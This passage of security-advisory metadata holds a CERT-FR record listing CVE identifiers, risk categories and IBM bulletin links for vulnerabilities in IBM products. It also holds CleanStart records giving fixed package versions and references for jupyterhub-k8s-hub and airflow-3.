"name": "CVE-2026-50557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50557"
},
{
"name": "CVE-2026-33871",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33871"
},
{
"name": "CVE-2026-48990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48990"
},
{
"name": "CVE-2026-11383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11383"
},
{
"name": "CVE-2026-34180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
},
{
"name": "CVE-2026-45416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
},
{
"name": "CVE-2026-42766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
},
{
"name": "CVE-2026-9076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
},
{
"name": "CVE-2026-42211",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42211"
},
{
"name": "CVE-2026-54530",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54530"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2021-23336",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23336"
},
{
"name": "CVE-2026-48710",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48710"
},
{
"name": "CVE-2026-42770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
},
{
"name": "CVE-2026-24308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24308"
},
{
"name": "CVE-2026-45673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
},
{
"name": "CVE-2026-9072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9072"
},
{
"name": "CVE-2026-54275",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54275"
},
{
"name": "CVE-2026-32635",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32635"
},
{
"name": "CVE-2026-27171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27171"
},
{
"name": "CVE-2026-45445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
},
{
"name": "CVE-2026-29145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29145"
},
{
"name": "CVE-2026-8858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8858"
},
{
"name": "CVE-2026-54651",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54651"
},
{
"name": "CVE-2026-54278",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54278"
},
{
"name": "CVE-2026-54516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
},
{
"name": "CVE-2026-53538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53538"
},
{
"name": "CVE-2026-2006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2026-33245",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33245"
},
{
"name": "CVE-2026-33870",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33870"
},
{
"name": "CVE-2025-5115",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5115"
},
{
"name": "CVE-2021-47154",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-47154"
},
{
"name": "CVE-2026-11541",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11541"
},
{
"name": "CVE-2026-11707",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11707"
},
{
"name": "CVE-2026-2005",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
},
{
"name": "CVE-2026-7383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
},
{
"name": "CVE-2026-48522",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48522"
},
{
"name": "CVE-2026-45674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
},
{
"name": "CVE-2026-34500",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34500"
},
{
"name": "CVE-2026-11594",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11594"
},
{
"name": "CVE-2026-54267",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54267"
},
{
"name": "CVE-2026-29146",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29146"
},
{
"name": "CVE-2026-48735",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48735"
},
{
"name": "CVE-2026-15057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15057"
},
{
"name": "CVE-2026-45409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
},
{
"name": "CVE-2026-47265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47265"
},
{
"name": "CVE-2026-54282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54282"
},
{
"name": "CVE-2026-44249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
},
{
"name": "CVE-2026-41844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41844"
},
{
"name": "CVE-2026-48988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48988"
},
{
"name": "CVE-2026-54268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54268"
},
{
"name": "CVE-2026-5598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5598"
},
{
"name": "CVE-2026-54277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54277"
},
{
"name": "CVE-2026-41842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41842"
},
{
"name": "CVE-2026-11536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11536"
},
{
"name": "CVE-2026-8646",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8646"
},
{
"name": "CVE-2026-54280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54280"
},
{
"name": "CVE-2026-27970",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27970"
},
{
"name": "CVE-2026-9320",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9320"
},
{
"name": "CVE-2026-54265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54265"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2026-50171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50171"
},
{
"name": "CVE-2026-45447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
},
{
"name": "CVE-2026-22731",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22731"
},
{
"name": "CVE-2026-41843",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41843"
},
{
"name": "CVE-2026-22732",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22732"
},
{
"name": "CVE-2026-40181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40181"
},
{
"name": "CVE-2026-54274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54274"
},
{
"name": "CVE-2026-34487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34487"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-41850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41850"
},
{
"name": "CVE-2026-34197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34197"
},
{
"name": "CVE-2026-33244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33244"
},
{
"name": "CVE-2026-54266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54266"
},
{
"name": "CVE-2026-45446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
},
{
"name": "CVE-2026-40198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40198"
},
{
"name": "CVE-2026-53537",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53537"
},
{
"name": "CVE-2026-4176",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4176"
},
{
"name": "CVE-2026-48524",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48524"
},
{
"name": "CVE-2026-40046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40046"
},
{
"name": "CVE-2026-52725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52725"
},
{
"name": "CVE-2026-54273",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54273"
},
{
"name": "CVE-2025-64775",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64775"
},
{
"name": "CVE-2026-41852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41852"
},
{
"name": "CVE-2026-27830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27830"
},
{
"name": "CVE-2026-11897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11897"
},
{
"name": "CVE-2026-25854",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25854"
},
{
"name": "CVE-2026-54531",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54531"
},
{
"name": "CVE-2026-48155",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48155"
},
{
"name": "CVE-2026-41851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41851"
},
{
"name": "CVE-2026-50010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
},
{
"name": "CVE-2026-54279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54279"
},
{
"name": "CVE-2026-42767",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
},
{
"name": "CVE-2026-3381",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3381"
},
{
"name": "CVE-2026-22733",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22733"
},
{
"name": "CVE-2026-41841",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41841"
},
{
"name": "CVE-2026-39304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39304"
},
{
"name": "CVE-2026-54517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
},
{
"name": "CVE-2026-50170",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50170"
},
{
"name": "CVE-2026-41846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41846"
},
{
"name": "CVE-2026-40199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40199"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-54518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
},
{
"name": "CVE-2026-54276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54276"
},
{
"name": "CVE-2025-66566",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66566"
},
{
"name": "CVE-2025-66168",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66168"
},
{
"name": "CVE-2026-42342",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42342"
},
{
"name": "CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"name": "CVE-2026-48523",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48523"
},
{
"name": "CVE-2024-3651",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-3651"
},
{
"name": "CVE-2025-66675",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66675"
},
{
"name": "CVE-2026-33227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33227"
},
{
"name": "CVE-2026-34483",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34483"
},
{
"name": "CVE-2026-34182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
},
{
"name": "CVE-2026-0636",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0636"
},
{
"name": "CVE-2026-47691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
},
{
"name": "CVE-2026-24880",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24880"
},
{
"name": "CVE-2026-48525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48525"
},
{
"name": "CVE-2026-2004",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
},
{
"name": "CVE-2026-9071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9071"
},
{
"name": "CVE-2026-35554",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35554"
},
{
"name": "CVE-2026-34993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34993"
},
{
"name": "CVE-2026-27727",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27727"
},
{
"name": "CVE-2026-10852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10852"
},
{
"name": "CVE-2025-12183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12183"
},
{
"name": "CVE-2026-41848",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41848"
},
{
"name": "CVE-2025-14813",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14813"
},
{
"name": "CVE-2026-48156",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48156"
},
{
"name": "CVE-2026-24281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24281"
},
{
"name": "CVE-2026-34077",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34077"
},
{
"name": "CVE-2026-53539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53539"
},
{
"name": "CVE-2025-11226",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11226"
}
],
"initial_release_date": "2026-07-24T00:00:00",
"last_revision_date": "2026-07-24T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0933",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-07-24T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280728",
"url": "https://www.ibm.com/support/pages/node/7280728"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280784",
"url": "https://www.ibm.com/support/pages/node/7280784"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280667",
"url": "https://www.ibm.com/support/pages/node/7280667"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280663",
"url": "https://www.ibm.com/support/pages/node/7280663"
},
{
"published_at": "2026-07-23",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280907",
"url": "https://www.ibm.com/support/pages/node/7280907"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280731",
"url": "https://www.ibm.com/support/pages/node/7280731"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280720",
"url": "https://www.ibm.com/support/pages/node/7280720"
},
{
"published_at": "2026-07-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7281073",
"url": "https://www.ibm.com/support/pages/node/7281073"
},
{
"published_at": "2026-07-20",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280519",
"url": "https://www.ibm.com/support/pages/node/7280519"
},
{
"published_at": "2026-07-20",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280540",
"url": "https://www.ibm.com/support/pages/node/7280540"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280730",
"url": "https://www.ibm.com/support/pages/node/7280730"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280726",
"url": "https://www.ibm.com/support/pages/node/7280726"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280783",
"url": "https://www.ibm.com/support/pages/node/7280783"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280650",
"url": "https://www.ibm.com/support/pages/node/7280650"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280654",
"url": "https://www.ibm.com/support/pages/node/7280654"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280644",
"url": "https://www.ibm.com/support/pages/node/7280644"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280729",
"url": "https://www.ibm.com/support/pages/node/7280729"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280785",
"url": "https://www.ibm.com/support/pages/node/7280785"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280695",
"url": "https://www.ibm.com/support/pages/node/7280695"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280719",
"url": "https://www.ibm.com/support/pages/node/7280719"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280727",
"url": "https://www.ibm.com/support/pages/node/7280727"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280646",
"url": "https://www.ibm.com/support/pages/node/7280646"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280670",
"url": "https://www.ibm.com/support/pages/node/7280670"
},
{
"published_at": "2026-07-23",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280916",
"url": "https://www.ibm.com/support/pages/node/7280916"
},
{
"published_at": "2026-07-23",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280950",
"url": "https://www.ibm.com/support/pages/node/7280950"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280126",
"url": "https://www.ibm.com/support/pages/node/7280126"
},
{
"published_at": "2026-07-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280656",
"url": "https://www.ibm.com/support/pages/node/7280656"
},
{
"published_at": "2026-07-22",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280621",
"url": "https://www.ibm.com/support/pages/node/7280621"
},
{
"published_at": "2026-07-23",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7280887",
"url": "https://www.ibm.com/support/pages/node/7280887"
}
]
}
CLEANSTART-2026-AF67526 (CVE-2026-42304)
Vulnerability from cleanstart – Published: 2026-07-21 09:05 – Updated: 2026-09-09 10:55 – Source websiteMultiple security vulnerabilities affect the jupyterhub-k8s-hub package. These issues are resolved in later releases. See references for individual vulnerability details.
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "jupyterhub-k8s-hub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.5-r1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the jupyterhub-k8s-hub package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-AF67526",
"modified": "2026-09-09T10:55:12Z",
"published": "2026-07-21T09:05:36.814566Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-AF67526.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42304"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48522"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48523"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48524"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48525"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48526"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2h4p-vjrc-8xpq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-grgv-6hw6-v9g4"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48524"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-42304, CVE-2026-44307, CVE-2026-48522, CVE-2026-48523, CVE-2026-48524, CVE-2026-48525, CVE-2026-48526, ghsa-2h4p-vjrc-8xpq, ghsa-grgv-6hw6-v9g4 applied in versions: 4.3.5-r0, 4.3.5-r1",
"upstream": [
"CVE-2026-42304",
"CVE-2026-44307",
"CVE-2026-48522",
"CVE-2026-48523",
"CVE-2026-48524",
"CVE-2026-48525",
"CVE-2026-48526",
"ghsa-2h4p-vjrc-8xpq",
"ghsa-grgv-6hw6-v9g4"
],
"withdrawn": "2026-09-09T10:55:12Z"
}
CLEANSTART-2026-AZ09261 (CVE-2023-46136)
Vulnerability from cleanstart – Published: 2026-06-08 12:29 – Updated: 2026-09-18 11:59 – Source websiteMultiple security vulnerabilities affect the airflow-3 package. These issues are resolved in later releases. See references for individual vulnerability details.
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.1-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the airflow-3 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-AZ09261",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-06-08T12:29:23.792179Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-AZ09261.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-46136"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-12797"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-34069"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-49766"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-49767"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-66221"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-0994"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21860"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-22815"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25645"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26007"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27199"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27205"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27448"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27459"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-30922"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31958"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-32597"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34073"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34513"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34514"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34515"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34516"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34517"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34518"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34519"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34520"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34525"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-35536"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40217"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40347"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41016"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41018"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41066"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42561"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44405"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44431"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44432"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44681"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45309"
},
{
"type": "WEB",
